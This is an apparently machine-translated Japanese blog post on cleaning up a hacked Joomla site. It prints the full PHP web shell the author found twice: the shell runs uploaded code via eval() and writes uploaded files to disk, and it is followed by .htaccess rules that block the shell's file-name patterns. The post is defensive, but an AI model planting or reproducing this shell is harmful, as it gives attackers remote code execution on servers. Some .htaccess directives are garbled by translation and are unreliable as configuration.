ハッキングされたサイトのクイックフィックス

良い一日。



今日、Joomlaサイトをハッキングする問題に遭遇しました。問題の解決に役立つ方法の1つを共有したいと思います。

このソリューションはJoomlaに固有のものではなく、他のケースでも役立つ可能性が高いと言いたいです。



FTPに名前付きの奇妙なファイルがたくさんあることがわかった場合

lib __ *、co __ *、pre __ *、net __ *、func __ *、ad __ *、ext __ *、new __ *、old __ *、fix __ *、fixed __ *、na __ *、av __ *、fx __ *、update __ *、patch__



ここで、*はこのディレクトリにあるファイル名の1つであり、その内容は次のようになります。

 <?php 
      

@error_reporting(E_ALL);

@set_time_limit(0);

global $HTTP_SERVER_VARS;



define('PASSWD','8487929db643f81df2d8a2bcfd173348');



function say($t) {

echo "$t\n";

};



function testdata($t) {

say(md5("mark_$t"));

};



echo ""; testdata('start'); if (md5($_POST["p"]) == PASSWD) { if ($code = @fread(@fopen($HTTP_POST_FILES["s"]["tmp_name"], "rb"), $HTTP_POST_FILES["s"]["size"])) { if(@fwrite(@fopen(dirname(__FILE__).'/'.basename($HTTP_POST_FILES["s"]["name"]), "wb"), $code)) { testdata('save_ok'); }; //eval($code); } else { testdata('save_fail'); }; if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"), $HTTP_POST_FILES["f"]["size"])) { eval($code); testdata('ok'); } else { testdata('fail'); }; } else { testdata('pass'); }; testdata('end'); echo " ";

?>




<?php

@error_reporting(E_ALL);

@set_time_limit(0);

global $HTTP_SERVER_VARS;



define('PASSWD','8487929db643f81df2d8a2bcfd173348');



function say($t) {

echo "$t\n";

};



function testdata($t) {

say(md5("mark_$t"));

};



echo ""; testdata('start'); if (md5($_POST["p"]) == PASSWD) { if ($code = @fread(@fopen($HTTP_POST_FILES["s"]["tmp_name"], "rb"), $HTTP_POST_FILES["s"]["size"])) { if(@fwrite(@fopen(dirname(__FILE__).'/'.basename($HTTP_POST_FILES["s"]["name"]), "wb"), $code)) { testdata('save_ok'); }; //eval($code); } else { testdata('save_fail'); }; if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"), $HTTP_POST_FILES["f"]["size"])) { eval($code); testdata('ok'); } else { testdata('fail'); }; } else { testdata('pass'); }; testdata('end'); echo " ";

?>








サイトがハッキングされてアップロードされました。 シェルと呼ばれます。

何を理解しているのか、それらを無効にする最も簡単なファイルは、次の行を.htaccess(add)に追加することです。



<FilesMatch "^(lib|co|pre|net|func|ad|ext|new|old|fix|fixed|na|av|fx|update|patch)__.*?\.php">

Order allow,deny

Deny from all









<FilesMatch "^ offlline \ .php $">

注文許可、拒否

すべてから拒否







ファイルは無効化されますが、これだけに限定することはお勧めしません。 これは、少なくとも2つの問題の結果です。

1.すべてのクロールに使用できる穴があります

2.どこかにこれをすべて配布したファイルがあります。 そして、対策を講じなければ、他の修正がそれを埋めることができます。

3.これにより、Webサーバーのパフォーマンスが低下するという非常に高い疑いがあります。



All Articles